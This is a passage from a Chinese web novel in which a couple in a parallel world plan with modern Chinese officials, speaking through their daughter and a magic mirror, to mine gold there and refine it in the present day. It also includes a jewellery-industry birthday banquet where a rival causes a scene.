张时文脸上笑容不减:“袁大人,眼下郴州城外已经没有北凉人了,那边的发电机能不能挪一个到府衙来?” “府衙的钱大人、刘大人等年事已高,一到天黑,就跟睁眼瞎似的,若是有了电灯……” 袁博文的脸色沉了下来,打断了张时文的话:“张大人!眼下郴州城外是没有北凉人了,但军情莫测,谁也说不准他们什么时候回来。那里的东西不能动!” 张时文还没死心,还要说,袁博文赶紧起身:“张大人,我还有事,先告辞了!” 不等张时文发话,他赶紧走了。 带上谷雨等人,袁博文来到了矿区。 先前留在这里的亲卫副队长赵世达得到了消息后,迎了过来。 袁博文下了马,边看边问:“近来这里有人闹事吗?” “一切都好。自上次按照大人的吩咐,把这里监工拿下后,就再没有出现过闹事的了。”赵世达笑着回话。 他手下的人虽然不多,但是都有枪。自从见识过枪的厉害后,这些的人,不管是工头,还是其他人都吓破了胆,再也没有人敢造次了。 袁博文点了点头。 眼前的场地被群山环绕着,足有操场那么大,赵世达手下的亲卫们正拿着枪来回巡逻监视着。衣着简陋的工人都低着头勾着背在干活。有的在敲敲打打,有的则用水槽过滤着金沙,还有的则在抬运着从矿洞里出来的矿石。 目光所及都是手工在忙。 袁博文想象不出,就这么个速度,居然倒腾出了好几吨的黄金。 而那些黄金还仅仅只是他看到的。 他没有看到的估计更多。 眼前的场景仅仅只是采矿炼金所有流程当中的一环。 不远处的矿山那里还有个偌大的矿洞,里面采矿的工人更多。 如果将这些全部改换成现代采矿炼金的流程,不知道会是什么场景。 袁博文站了一会儿,又进到了矿洞里。 里面的空间不小,墙壁上隔一段距离就有一个火把,但光线并不好,空气也十分沉闷。 工人们密布在矿洞的各个角落,沉默忙碌着。 拿着枪的亲卫们来回巡视。 袁博文在里面转了一圈后出来了。 外面的天地让人的心情好转了很多。 并不是他苛待,不把人当人,而是他接手这片矿区时,这里就是这个样子。何家的监工可比赵世达等人凶狠多了。 不仅对这些工人们的行为有诸多限制,而且在吃住方面也十分苛刻。 他接手后,在吃住方面给予了改善,其他的,他不懂,便没有擅动,依旧维持着原样。 “胡耀生呢?他在哪里?”袁博文问道。 赵世达指着不远处的一排平房说:“在那里。” 袁博文询问的这位胡耀生是何家请过来专门勘察地质的人,对山脉地形颇有见识。 袁博文掌控这里后,把何家原本在这里的人杀的杀,关的关,就留下了这位胡耀生,好生招待着,除了限制他离开这里以外,没有任何苛待。 袁博文见到胡耀生时,这位正蹲在一堆乱石里面,也不知道在看什么。 “胡先生!”袁博文叫了一声。 胡耀生抬起头:“袁大人!” 袁博文走过去问:“胡先生在看什么?” 胡耀生说:“这些石头都是从矿洞里运出来的。” 袁博文仔细看了看,属实看不出名堂。 “胡先生是怎么认出来的?” 胡耀生侃侃而谈,袁博文听着,好一会后明白了他的意思。原来,他认为眼前的矿山,金子的储量巨大,若是能继续往下,会有惊人发现。 袁博文回到府衙后,天已经黑了。他告诉谢云溪:“我今天去矿山那边了!” “是吗?那边情况怎么样?” 谢云溪也很关心城外的矿山,奈何她如今月份大,不敢自己过去。 袁博文想了想,摇头:“环境太差了,都是手工作业,一点安保措施都没有……” 谢云溪笑了。在这里谈环境保护和安保措施,怎么可能? 显然,袁博文也知道自己关注的重心不对。 “不过,黄金的储量确实不小,目前只是在表面作业,前前后后就出了二三十万两黄金了……” 谢云溪吃了一惊:“已经出了二三十万两黄金吗?” 他们前段时间给袁淼传了六万两黄金,那时候就被这个数额惊到了。 现在知道传给女儿的黄金居然不到已经开采出来的三分之一! 袁博文点头:“我今天又跟胡耀生聊了聊,他认为如果能继续往下开采,就不仅仅只是先前预计的储量了。” 谢云溪一时算不过来:“那是多少?” 袁博文比划了个数:“至少百万两黄金是有的。” “有这么多吗?”谢云溪吃惊说。 袁博文又点头:“胡耀生确实有两边刷子!我相信他的判断。” 谢云溪愣了一会,问:“继续往下,这里的采矿条件做不到,如果用现代的那些采矿机械,能做到吗?” 袁博文笑了:“你觉得呢?” 谢云溪也笑了,现代的技术都能上天入地了,区区往深处采矿,怎么可能做不到? “淼淼睡了吗?你跟她联系过了吗?” “还没呢!这不正等着你吗?”谢云溪笑着说,“你要跟淼淼说见面的事情吗?” 袁博文点头。他今天过去看了看后,又跟胡耀生聊了会,虽然依旧在采矿方面是个白丁,但是也能说上几句了。 “你想好怎么谈了吗?”谢云溪又问。 袁博文想了想:“必须得机械化!手工流水作业不仅效率低下,风险也很高!” 他把自己见过现场手工流水作业告诉谢云溪:“……矿洞里面的环境很差,几乎都在刀琢手撬,如果使用机械化作业,效率一定会大大提高。还有外面的提炼等工序,非常繁琐,这些也得机械化……” 谢云溪想了想:“如果全部机械化,你想过需要多少人手吗?这些人可都得从头开始培训哦!” 袁博文也想过这个问题。机械化当然能大大提高效率,但是人工是个问题。 现代化机械对于这里的人来说,无疑惊世骇俗。少量心腹接触,当然问题不大,可如果需要的人多,那风险就大大增加了。 “我觉得可以这样。”谢云溪说,“采矿全部机械化,人员挑选咱们认为可靠的,至于提炼等工序,就全部让陈秘书长他们那边的人手来完成。这样的话,咱们需要的人手就没有那么多,风险也会小很多。” 袁博文愣住了,想了一会:“陈秘书长他们会同意吗?如果这样分工,最后利润怎么分配?” 谢云溪也被难住了。开采出来的矿石传到现代提炼加工当然没问题,可到底提炼加工出了多少金子,这就不好说了。 如果陈秘书长他们找的企业提炼加工后给出的黄金数额,与他们夫妻估计的不一样,差距不大,倒也不用在意,但是如果差距过大,任何人心里都不会好受。 他们拿下这座金矿,也费了不少心思,开采过程更是冒着风险。 有人昧下太多,他们也会有想法的。 这样一来,生了嫌隙,对双方都不好。 “你觉得我们把矿石提炼加工的流程交给淼淼在现代完成,怎么样?”袁博文想了一会,又问。 谢云溪愣住了:“交给淼淼?” 袁博文点头:“我相信淼淼一定能做好!这样一来,就不会产生矛盾了,咱们与陈秘书长他们再谈利润分配,也会清晰明朗很多。” 谢云溪想了想。她当然愿意女儿来接手矿石提炼加工等流程。 “陈秘书长他们会同意这么安排吗?” 第106章 第106章 约谈 (上一章末有修改如果接不上可以返回去看看)袁博文和谢云溪相互看了一眼, 两人都没有把握。 “问一问吧!如果不同意,看看他们有没有更好的建议。” 商量好后,谢云溪启动了镜子, 袁淼很快就出现镜子里了。她看到袁博文很高兴。 “爸爸, 你们不是打完了吗?最近在忙什么?我都有好几天没见到你了。” 她笑着说话。心里确实一直记挂着袁博文, 但是更多的是希望父亲能够多陪陪母亲。 谢云溪怀孕已经快七个月了, 虽然在镜子里看来,他们的年纪像是三十来岁的样子, 但是实际的年纪已经有四十多岁,按照现代的标准,谢云溪就是高龄产妇。 高龄产妇比适龄产妇的风险大多了。 虽然谢云溪一直在说,自己是个医生, 但是袁淼还是很担心。 袁博文有些愧疚,摸了摸头, 笑着说:“这仗虽然暂时打完了,但是事情还是不少……过几天就好了!等爸爸将这边的事情理顺之后,就有时间了。” 袁淼知道想让父亲多陪陪母亲只是个美好的想法,他们生存的环境注定了父母都不会很闲。 她点了点头:“爸爸, 妈妈说要把府衙后院的东西全都传给我,这样行吗?” “行啊!怎么不行了?有什么问题吗?现在郴州城内我说了算,后院的那些,不给我女儿,还能给谁?” 这件事情本来就他决定的。 袁淼笑了, 笑过后说:“真的没问题吗?不会有人说你中饱私囊?然后针对你, 反对你……” 袁博文也笑了:“你放心吧,你爸爸我现在在郴州城是这个!” 他竖了一根大拇指。 这倒不是自夸,这些天连续几场战打下来, 他能感觉到周围的人对他的畏惧和推崇。这里面自然有来自对现代军/械的畏惧。人类对强者的崇拜大概是血脉里的东西。 原本这里的世界刀枪棍互搏着,你来我往,没那么快分出胜负。结果现代化军械一出,别的不说,就机/枪一梭子打下去,瞬间就能倒下一大片,任你血肉之躯再强横,也抵不过一颗小小子弹。 面对这样的降维打击,谁能不怕? 袁淼又笑了:“那我真收了?” 袁博文和谢云溪都点头了。 袁淼又说:“不过,我觉得你们还是要小心!明枪易躲,暗箭难防。表面上的诚服,可不一定是真的。” 这些道理,袁博文自然知道。不过,他还是煞有其事附和:“我女儿说的对!” 袁淼忍着没笑:“那你们那边的……战损情况统计出来了没有?有哪些需要补充和增加的?” 袁博文想了想,战损的统计数据已经出来了,各方面的消耗都不小,但是需要补充什么,他还没有想好。 这几场战打下来,他对现代化军/械也有新的认知,有的名气虽大,但是并不一定适合在这边的战场上使用。 “过几天我再告诉你。” 袁淼点头。她对军/械等的了解非常有限,只能是父母那边需要什么,她才去购买。 “淼淼,爸爸今天去矿区那边看过了,你看要不明天你跟王所长他们说一声,咱们约个时间?” “好!”袁淼早就在等这件事情的结果。 谢云溪说:“你爸刚才跟我商量,我们想这样分工,开采矿石由我们这边完成,后面的提炼加工等流程,就在现代完成……” 袁淼觉得这样分工很合理。开采矿石这一步只能在父母那边完成。提炼加工矿石等流程就不一定非得要那边完成了。 实际上,提炼加工等流程在现代已经很完善了,无论是机械还是人工,都比父母那边好操作好管理。 “在现代完成的这一部分,我们想让你来做!” 袁淼愣住了,连忙说:“我不行的,这些我完全不懂!” “不懂就学嘛!”袁博文笑着说。 谢云溪也跟着点头:“这件事情,我和你爸都觉得交给你去做最合适。如果交给陈秘书长他们那边的人,容易产生纠纷。” “矿石在这面这边开采,提炼加工在现代完成,最后到底出了多少金子,这里面容易产生矛盾,虽然我们都相信陈秘书长他们不会在数据上作假,但是在巨大的诱惑面前,一切都不好说。” 袁淼明白了父母的意思,合作完成一件事情,最容易倒在分配不公上。 “……可我对这些完全不懂!” 谢云溪笑着说:“不懂就学!我们都相信你,一定能行的!” 袁淼却一点儿信心都没有。 “你先别着急。这只是我们的想法,陈秘书长他们是什么意见,我们还不知道呢。” 袁淼点头:“我明天就联系他们!” 第二天,袁淼就给王振声打去了电话,很快就敲定了面谈的时间。 到了面谈的这天,袁博文和谢云溪早早就等在镜子跟前了。谢云溪有些忐忑:“你说这次跟咱们约谈的会有谁?” 袁博文知道她在担心什么,揽着谢云溪的肩膀说:“陈秘书长和王所长一定会到,他们应该还会带几位专家过来。” “这么多人吗?” 袁博文轻轻拍了拍谢云溪的肩膀以示安抚,他心里也觉得太多人知道他们的事情并不是一件好事:“别担心,陈秘书长他们一定会安排好的。” 谢云溪想到上次购买的游轮的事情,点了点头。 等了一会,镜子出现了变化。袁淼出现在镜子里了。谢云溪连忙问:“来了吗?” 袁淼点头:“陈秘书长和王所长都来了,还带来一位矿业资源管理部门的领导和一位专家,他们现在就在楼下。陈秘书长让我问问你们,他们可不可以过来了?” 谢云溪心里悬起的石头落地了。陈博川和王振声的细心让她心里的担心瞬间消弭。 袁博文的感触和谢云溪差不多。他点了点头。 袁淼离开了镜子,一会后再出现,袁博文和谢云溪知道此时女儿的身边一定坐着好几个人。 即便是已经知道袁博文夫妇的所在,陈博川再次看到袁淼面前的镜子时,心里仍然不敢相信。 “小袁,替我跟你爸爸妈妈问声好!” 袁淼转达了陈博川的意思。 一旁的王振声瞪大了眼睛,虽然他已经经历过许多匪夷所思的事情,但是仅凭一个镜子就能连同两个不同世界的事情仍然让他吃惊。 眼前的镜子平平无奇,什么都没有,里面照出的场景就是房间内的一切,但是袁淼却在对着它说话。 袁淼父母袁博文和谢云溪真的在镜子里面吗? 同样怀疑这点的还有矿业资源管理部的叶家振副部长和顾军平。他们两人来之前已经被打了预防针,但是此刻看到袁淼对着一个镜子说话,两人心里都嘀咕了一下,不由得相互看了一眼。 最淡定的还是陈博川。 袁博文和谢云溪听到了袁淼转达的意思。 谢云溪笑着说:“你替我们谢谢陈秘书长和王所长他们,谢谢他们一直以来的照顾帮忙。” 她说着,拿过早已准备好的礼物。 “这是我们的心意,你请他们收下。” 她说完,就把礼盒传了过去。 袁淼已经知道礼盒里面的是人参,年头不长,只有二三十年,一支约莫二十来克,整体价值大约五千元左右。 她收到礼盒后,并没有打开,而是转头对陈博川等人说话:“陈秘书长,我爸妈说谢谢你们一直以来的照顾帮忙,这是他们的一份心意……” 她说着,递上了礼物。 但好一会没人接,她抬头看,发现旁边的人都是一副呆掉的样子。 陈博川先反应了过来:“这怎么能行?我们不能收!你爸妈的心意,我们都知道了。” 再次看到有东西突然出现,饶是他知道缘由,刚才也吓了一跳。 王振声此时也回过神来,笑眯眯附和点头:“是的,小袁,你们的心意,我们都知道,不用!不用!” 叶家振和顾军平则依旧没能从震惊中醒过神来。 他们看到了什么? 一堆东西,突然凭空出现! 眼前的镜子里面真有两个人吗?他们在另一个世界把这些东西传了过来? 袁淼笑着说:“这也是我的一份心意!如果没有你们帮忙,我能为我爸妈做的非常有限,他们也不一定能走今天这一步。如果他们有什么不好,我会抱憾一生!谢谢你们!这个请你们一定收下!” 陈博川笑了:“好好好!你这丫头,说的我都感动了!” 他估计这次要是不收,袁博文夫妇和袁淼多半会心里不安。后面还有大事要谈。东西先收下,往上面打个报告,交给上面处理。先把金矿的事情落实了。 陈博川收了礼,袁淼心里踏实了许多。她知道事后陈博川肯定会把这件事情往上面报告,但是她借此表露自己的心声,后面再有事,就容易开口了。 “小袁,你能跟你爸妈说一声,让他们把金矿的具体情况跟我们再说一说吗?” “好!”袁淼答应后,把陈博川的话告诉了袁博文和谢云溪。 关于交谈的形式,袁博文和谢云溪讨论过,两人觉得上次手机语音沟通的方式就很好,避免了中间环节的转述。 “陈秘书长,我爸妈说,让我把手机给他们,你们想知道什么,他们可以通过手机语音回答。” 陈博川连忙点头。这种沟通方式,他们上次就经历过。 得到容许后,袁淼就把手机传递了过去。 看到袁淼手中的手机突然消失不见,叶家振和顾军平又吃了一惊。 一会后,手机再次出现后。袁淼打开了语音,里面传出了袁博文的声音。他先说矿山的大小和目前开采的情况,又说了胡耀生的预估。 陈博川看向叶家振和顾军平。 这两个人,一个是矿产资源管理部的副部长,一个地质勘察方面的专家,专业的问题,自然最好由专业的人来了解。 叶家振和顾军平刚开始听到语音的时候,并没有很在意,一会后就把袁淼手中的手机要了过去,仔细倾听。 一段语音听完了,顾军平提出了自己的问题。 陈博川笑着说:“顾工你就语音说吧,让小袁的爸爸在那边回答。” 顾军平连忙打开了语音。问出自己的问题,把手机交给袁淼。 袁淼把手机传递了过去。 一会后,手机又传了过去。 顾军平听完后,点头说:“按照小袁爸爸所说的情况,金矿的储量确实不小!这是一座富矿,储量至少在一百吨左右!” 叶家振眉眼一跳:“真有这么高吗?不是说……那边科技水平并不发达吗?” 顾军平笑着说:“现代地质勘察,确实能较精准探明矿石的储量。但是古人的智慧也不容小觑。他们也能通过山川地形等情况预估出矿石的情况。小袁那边的勘探师傅应该是高人。” 袁淼看着他们说完,连忙问道:“什么是富矿?” 她知道自己极有可能涉足这一块,既然有专家在,那自然是要多多了解了。 “富矿只是一种说法,并没有明确的规定,一般情况,金矿含量达到每吨五克以上,就可以被称为富矿了。”顾军平笑眯眯回答。 他虽然没有去过现场,但是通过刚才与袁博文的交谈,他判断他们那边的矿山绝对是座富矿。在生产力这么低下的情况,竟然能在三四年期间产出二三十吨金子。其矿石含金量由此可见绝对不会低。 陈博川心里也满是惊喜。他这次带过来的顾军平是地质方面的专家,他的判断绝对靠谱。 储量一百吨左右的金矿!可以稳稳排进全国前十了! “那……都了解完了吗?”陈博川问。 顾军平连忙说:“……我还有几个问题!” 他说出了自己的问题,又把手机给了袁淼。 来回几次后,顾军平点了点头,表示自己这边已经了解完了。 语音通话的来往,并没有瞒着其他人,叶家振明显有些坐不住了。这么大储量的金矿,在国际上都属于罕见,必须要深度参与。 看了一眼陈博川后,他笑着伸手:“小袁,我有几个问题,问问你爸爸!” 袁淼连忙把手机给了叶家振。叶家振关注的问题在开采加工这一块。袁淼也认真听着。 手机来回十几了次,叶家振心里有了底,把手机还给了袁淼。 陈博川目睹了整个沟通过程,也知道袁博文和谢云溪的想法。但是一百吨左右储量的金矿开采不是一件小事,他也不能拍板定下,必须要经过各方面的讨论,才能决定怎么做。 而且,这件事情的影响深远,现在袁博文夫妇在他们那边并不是一个小人物了。这件事情如果处理好了,对两个世界的互通来往会有积极促进作用。 这可是两个世界的第一次合作。 从楼上下来的时候,陈博川边走边说:“情况我们已经了解清楚了,你让你爸妈放心,等我们讨论有了结果,会马上跟你联系。” “好!谢谢陈秘书长!” 袁淼一直将陈博川等人送出了门,直到车开远后,她才返回家里。 袁博文和谢云溪并没有离开。 “陈秘书长他们都走了吗?”谢云溪问。 “已经走了!”袁淼看向袁博文:“爸,你觉得他们会同意你提出合作方案吗?” 谢云溪也看向了袁博文。 在刚才与叶家振的交谈中,袁博文提出自己的想法,他希望上面能提供技术和机械等支持,利润分配方面开采加工出来金子可以全部上交,至于价格,可以商量。 “应该……会吧!”袁博文回答。 离开了袁淼家的陈博川等人也在议论这次的面谈。 陈博川问:“刚才袁博文提出方案,你们都听到了。怎么样?有什么想法?说来听听。” 叶家振说:“我觉得可以。那边的金矿储量不小,咱们负责提供技术和机器支持,基本上没有风险,而且他们答应产出的金子全部卖给我们,这对我们目前的黄金储备是个很大的支持,不过价钱方面,到底怎么定价……” 陈博川:“怎么定价?我得问问孟主任。” “还有一个问题,由他们在那边开采,再把矿石传到这边加工提炼,他们提出这一块让小袁负责……小袁以前涉足过这方面吗?” 王振声看过袁淼的资料:“好像没有,她是江都大学设计专业毕业,毕业之后就进入瀚海设计公司,跟她爸妈联系上之后,就把工作辞了。应该是没有涉足矿石加工提炼等行业。” “以前从来都没有涉足,突然接手这么大的事情……行不行?” 叶家振有点担心。 两个世界合作开采金矿这件事情可不小,况且金矿的储备量都能排进全国前十了,这么大的事情交给一个从来都没有涉足过矿业行业的小姑娘…… “老叶,你这个观念有点老旧了,可不能小瞧了现在的年轻人!”陈博川笑着说。 “管理一个企业并不一定非要某个专业毕业,现在的职业经理人遍地都是!如果真的要合作共同开采另一个世界的金矿,提炼加工等环节需要在这边完成,那这件事情还必须得是袁淼来负责,至少她必须要参与!” “你们换位来想,你们愿意把自己辛苦开采出来的矿石交给并不了解的人来完成后续的加工提炼吗?你们怎么确定他们加工提炼出来金子就一定没有藏私呢?” 王振声点了点头。 “袁博文夫妇能走到今天的地步绝对不是偶然!他们在跟我们面谈之前一定讨论这个问题了。为了避免矛盾的产生,将加工提炼环节交给小袁来做,这个提议无可厚非。” “小袁以前没有涉足过矿石加工提炼行业,经验不足,我们可以帮她嘛。两个世界第一次合作,可不能生了嫌隙。” 第107章 第107章 寿宴 叶家振点了点头。 两个世界的互通来往可想象的空间太大了, 确实不能因小失大。 王振声指着旁边的礼盒问:“哎!这个怎么办?” 陈博川笑了:“上交吧,打个报告。” 具体怎么处理,就看上面定夺了。这类事情并不是没有先例。 上次袁淼的珠宝店开张, 他们也收到了礼, 不过最后定性, 礼物是开业酬宾, 东西也返回给了他们。 王振声好奇,打开来看了看:“哟!是人参!” 坐在他旁边的顾军平也凑了过去:“这人参品相不错, 看样子,二三十年是有的,现在正宗的老山参可不容易看到!” 叶家振也看了看,他很好奇:“顾工, 你对这些了解比我们多,你觉得这个, 在市面上大概能看到多少钱?” 顾军平仔细看了看:“这样一支老山参六七千元钱是有的,不过这种品相的少,现在的野生山参非常少见,属于有钱都不一定能买到的尖货。” 他数了数, 一共四个礼盒,里面的东西一样,都是老山参,个头大小看起来也差不多。 顾军平感慨说:“别看人家那边生产力低下,但这种纯天然的好东西却不缺啊!” 陈博川笑了。 王振声也笑着点了点头, 想起了自己牵线的一次中草药交易, 到现在杏园春药厂都在感激他。 * 袁淼下了车,眼前的别墅富丽堂皇。 这是周宅,今天是周晟的爷爷周群八十大寿。好几天前, 她就接到了周晟的邀请。 “淼淼!”正在门口迎客的周晟看到袁淼,眼睛一亮,连忙过来了。 这天袁淼很漂亮,着一身复古旗袍,乌黑秀发以一只白玉簪简约绾起,细瓷般白皙的脖子上戴着谢云溪上次传过来的项链,手腕则是同款手镯,一下车就吸引了不少人的目光。 周晟目不转睛看着,眼角眉梢都是笑。“我还以为这次又要失望了呢!” 袁淼笑着:“老爷子的大寿,我怎么会错过?” 自上次珠宝展后,周晟又约了她几次,袁淼太忙,大多都推了。 周晟吟吟笑着,带着袁淼进去。许多人都看了过来。 “她是谁?周晟的女朋友吗?” “好漂亮!她脖子上的项链是帝王绿吗?颜色好正!” “居然还有同款手镯!” “到底是哪家的小姐?” 周家经营珠宝已经有很多年了,在圈内也颇负盛名,这次来给周老爷子祝寿也大多数都是圈内人,很多人一眼就看出了袁淼脖子上翡翠项链和翡翠手镯是极品帝王绿。 如今翡翠的热度虽然大不如前,但是人们对极品翡翠的推崇依旧有增无减。 尤其女人,看到漂亮首饰,许多人眼睛都挪不开了。 到了门口,袁淼递上了请帖和贺礼,和周晟一起进入大厅。 察觉到更多的目光看了过来,袁淼微微勾起唇角,大方且巧妙展示自己身上的首饰。 “小袁?” 听到招呼,袁淼转过头,看到了凤呈祥的老总万麒麟和他的夫人连容。 “万总,连总!”袁淼笑着招呼。 上次博云珠宝开张,她也给凤呈祥送去了请帖,一来二去,跟连容也有些熟了。 连容上下打量袁淼,啧啧说:“真漂亮!这人长的水灵,无论穿什么戴什么都好看!” 袁淼低头一笑,也夸了连容几句。一旁的周晟则跟万麒麟等人聊了几句后,有客人来了后,他又去忙了。 连容看着袁淼脖子上的项链,眼神痴迷说:“这是帝王绿吧?色正水足!真好看!也是你们博云珠宝出品的吗?” 袁淼点头,正要说话,突然听到有人嗤笑一声:“什么帝王绿?她买得起吗?也不知道在哪儿淘到的赝品,竟然在这儿装模作样!也不怕人笑掉大牙!” 袁淼的脸色微变,回过头,果然看到了徐清阳和曾嘉宝。 一个多月不见,曾嘉宝胖了一圈,双下巴出来了,肚子也比一般六七个月的孕妇大。但她爱化浓妆的习惯依旧没变,红唇白脸,不仅不美,反而有种说不出的狰狞感。 她身边的徐清阳倒是一如既往英俊帅气,只是眼神阴沉不定,只一眼就让人感觉不舒服。 “曾小姐见过帝王绿吗?怎么知道我这个是赝品?”袁淼问。 周家的宴席上,大多数都是圈内人,是否是赝品,一眼就能看出来的人很多。曾家虽然是矿企,但也算是半个圈内人,没道理连帝王绿都不认识。 曾嘉宝理直气壮说:“我当然见过!谁像你!为了装阔,用赝品假装帝王绿,在这种场合佩戴出来,你以为大家都和你一样没见识吗?” 袁淼笑了笑,将项链和手镯展示给周围的人看:“曾小姐说我这个是赝品,请拿出证据来!否则,我会告你诽谤!” “你!”曾嘉宝气愤不已,突然伸手抓向袁淼脖子上的项链。 袁淼早就防备着,正要往一旁避让,突然被人抓住了手腕,带到了一边。 “曾小姐,请注意你的行为!” 周晟不知道什么时候过来了,拦到袁淼跟前,曾嘉宝始料未及,原本抓向袁淼身上珠宝的手抓到了周晟的西装上,将他脖子上的领带都扯歪了。 曾嘉宝一时懵了,看向周晟身后的袁淼。她眉眼如画,润泽的红唇微微上扬着,分明在讥笑。 “周晟哥哥!她没有请帖!是蒙混进来的!你们快把她赶出来!” 周晟皱了皱眉,依旧没有松开袁淼的手:“曾小姐,话不能乱说!淼淼是我请来的客人!” 曾嘉宝愣住了,这才看到周晟正抓着袁淼的手。她脸上的血色一下子没了。 周曾两家算是故交,周晟年长她几岁,学生时期就是风云人物,她喜欢了很久,父母都知道。但后来探口风时被拒绝了。她因此伤心了很久。 即便后来她跟徐清阳好上了,但是听到周晟的消息,仍然会格外上心。 现在,周晟和袁淼? 曾嘉宝一时喘不过气来了,狠狠盯着袁淼。 狐狸精!一而再再而三跟她抢男人! 她爸是辉华矿业的总裁!以后整个辉华矿业都是她的! 她袁淼有什么?除了一张脸! 可为什么徐清阳一直对她恋恋不忘? 现在,要再加一个周晟吗? 周晟不要她,却偏偏看中了袁淼?! 曾嘉宝突然大叫了一声。 在场所有人都吓了一跳,大叫过后的曾嘉宝像是用尽了力气,软绵绵往下要倒。周晟眼疾手快扶住了她:“曾小姐,你怎么了?” 一旁的徐清阳也反应过来了,连忙将曾嘉宝接过来,扶到一边坐下,蹲下身柔声问:“嘉宝,你怎么了?” 曾嘉宝依旧瞪着袁淼。袁淼被吓了一跳后,已经镇静下来。她没有主动出击,是曾嘉宝自己找上来的。她只是利用她把自己家的珠宝宣传了一番,连刺激性言语都不曾出口。 “怎么回事?你们都聚在这里干什么?” 听到说话声的人群让出了一条道来。袁淼看见周群带着四五个人出现在围观的人群外。其中一个看到了坐在凳子上,面色苍白的曾嘉宝时,脸色变了。 “嘉宝!你怎么了?”他快步过去询问。 曾嘉宝抬手指向袁淼,突然流泪了:“爸爸,她欺负我!” 曾辉华顺着曾嘉宝所指看向了袁淼,目光瞬间变得阴沉。 袁淼皱了皱眉。 “咦!小袁?” 袁淼听到声音抬头,看见叶家振正站着周群身边,她瞬间绽放笑容:“叶部长!” 叶家振也笑开了,走过来,低下头询问:“怎么回事?” 袁淼不知道怎么形容,她绝对无心,但显然曾嘉宝不这么认为。 “爷爷!”周晟走向周群,向他说明,“……是误会!曾小姐情绪有点激动……” 周群听完:“通知医生吗?” 周晟往人群里看了一眼,低头回答:“已经通知了。” 周群点了点头,走到曾辉华和曾嘉宝身边:“曾总,令千金没事吧?医生马上就来了!” 坐在凳子上的曾嘉PMDUJIA宝除了脸色差些,已经看不出其他异常了。 曾辉华站了起来,勉强笑了一声,“谢谢周老,应该没事。” 他看向袁淼,又看了看袁淼旁边的叶家振,笑着问:“叶部长,这位是……” 叶家振笑着回答:“小袁,袁淼!” 曾辉华愣了愣,扯了个笑出来。 小袁,袁淼?就这? 这回答分明就是敷衍!但是他不敢发火,甚至连不高兴都不敢表露出来。 这位可是矿业资源部的二把手!一句话就能让他经营了许多年的辉华矿业关门歇业。 说话间,唐伟明领着医生护士进来了。曾辉华连忙让开位置。经过检查,曾嘉宝并无异常,不过,由于她身怀有孕,医生建议最好到医院进行连续监测。 徐清阳站了起来:“爸,我带嘉宝去医院看看!” 曾辉华顿了顿,点头。 徐清阳小心翼翼扶着曾嘉宝站起来,垂着眉眼,一直到门口时才抬起头,扫了一眼大厅中的袁淼和周晟。 袁淼突然感觉一阵寒意,抬起头时,徐清阳和曾嘉宝已经不见了。 叶家振低声问:“刚才出去的是辉华矿业曾总的女儿和女婿吗?” 袁淼打起精神,回答了叶家振的问题。她知道徐清阳和曾嘉宝已经结婚。 叶家振又笑着问:“小袁,你爸妈明天有时间吗?” 袁淼连忙点头。 “我和陈秘书长原本约好明天要去你家,现在看来不用另外联系你了。明天上午,你们都在吧?” “在!” 自从上次沟通后,袁淼就一直在等陈博川和叶家振等人的回复。她没想到,居然会在周群的寿宴见到叶家振。 周群已经在致辞了,他一身唐装,看起来精神抖擞,欢迎了各位宾客的光临。末了,要落席了,周晟和另一位中年男子找了过来。 “叶部长!您到那边坐!”中年男子笑得格外和蔼,他指着周群那一桌说。 袁淼转头看了看,那桌一看就知道是主位,但是现在没有一个人坐下,连老寿星周群都站在旁边,正四下看着。 对上了袁淼的目光,老寿星微微颔首招呼,笑容和蔼可亲。 袁淼也回了一笑。突然听到身边的叶家振说:“小袁,走,我们一起到那边坐!” 袁淼愣了愣。她太知道自己的份量了,绝对没有资格跟周群曾辉华等一众大佬同桌。但叶家振已经在催了。 想到明天的见面,或许叶家振有事要跟她说,袁淼顿了顿后,还是动了,跟在叶家振的旁边,来到主桌。 周群笑容可掬亲自过来:“叶部长,您坐这儿!” 叶家振并没有推辞,在上位坐下了来,又对旁边的袁淼说:“小袁,来来来,你坐这儿!”他指着自己旁边的位置说。 袁淼觉得自己要被目光盯成筛子了,周围一圈人各个气度不凡,除了周晟,其他人的年纪几乎都要比她大一圈了。但他们都没有落座。叶家振旁边的位置可是次主位。 她不敢坐。 “坐啊!”叶家振又催。 周群笑了:“小袁,坐坐坐!” 他给周晟一个眼色,周晟回过神来,拉开叶家振旁边的座位:“淼淼!”他笑着示意袁淼坐下。 众目睽睽之下,袁淼也坚持不住了,在叶家振旁边坐了下来。周群在叶家振的另一边坐了下来。其他人也陆续坐下了。 一顿饭没滋没味吃完,席间,袁淼也没有找到机会跟叶家振单独说话。太多人看着叶家振了。 回去后,袁淼就把在宴席上遇到叶家振的事情告诉了父母。 谢云溪有些担心:“叶部长是什么意思?” 袁博文笑了:“没事!他是矿业资源部的副部长,周家再有钱,也不过是商贾之家。现代虽然已经不讲士农工商了,但是周家是做珠宝行业的,他们需要的原材料金银珠宝可不就是各种矿产资源吗?” 谢云溪点了点头。 袁博文又笑着说:“明天,我们应该能听到好信息了!” 还有一句话,他没说。通过这几次的接触,他明显感觉到陈博川和叶家振等人对两边世界来往的期望值很高。他当然愿意看到女儿被人厚待。可他现在一没钱,二没权,能做的非常有限。 第二天,陈博川和叶家振果然带来了好消息。 他们同意了袁博文提出的合作方案。 金矿开采由袁博文夫妇在异世界完成,加工提炼等环节则由袁淼负责,在现代完成。 上面提供技术和设备等支持。 最后产出的黄金则由国/家回收,价格方面则根据市场来,会略低于市场价。 袁博文和谢云溪相互看了一眼,这个结果跟他们预计的差不多。 “小袁,针对你的情况,我们也研究过。如果你想自己开一家专门只进行矿石加工和提炼等的公司,国内目前还没有这个先例。办理起来恐怕需要不短的时间。” “我们建议你可以考虑收购一家矿业公司,整改后,将公司的重点转移到加工提炼等环节来。这样的话,不管是时间成本上还是资金方面,都会比你自己从头开始要容易。” 袁淼愣住了,这几天她了解了不少开采金矿方面的信息,确实如陈博川所说的一样。国内目前对金矿的开采管理非常严格,一般不容许私人开采。除非是经过了授权的矿业公司或者国企。 她不知道自己如果参与进来了,该属于哪一方?第一步该怎么做? 完全陌生的领域,从零开始,她光想想,就觉得头大。 “叶部长,您能详细跟我说说吗?” 叶家振笑着点头:“好!国内目前取得采矿许可证的一共是……” 叶家振将国内金矿开采的情况告诉了袁淼。取得采矿许可证的矿业公司并不多,由于的资源的枯竭,目前有几家矿业公司正面临着要转型。他建议袁淼可以考虑选择其中一家公司收购或参股,拿下实际控股权。再进行整改,将公司的重心移到矿石的加工提炼等方面。这样的话,比她从零开始创业要容易许多。 这些矿业公司不仅有采矿许可证,在矿石的加工提炼等方面也有完善的流程。 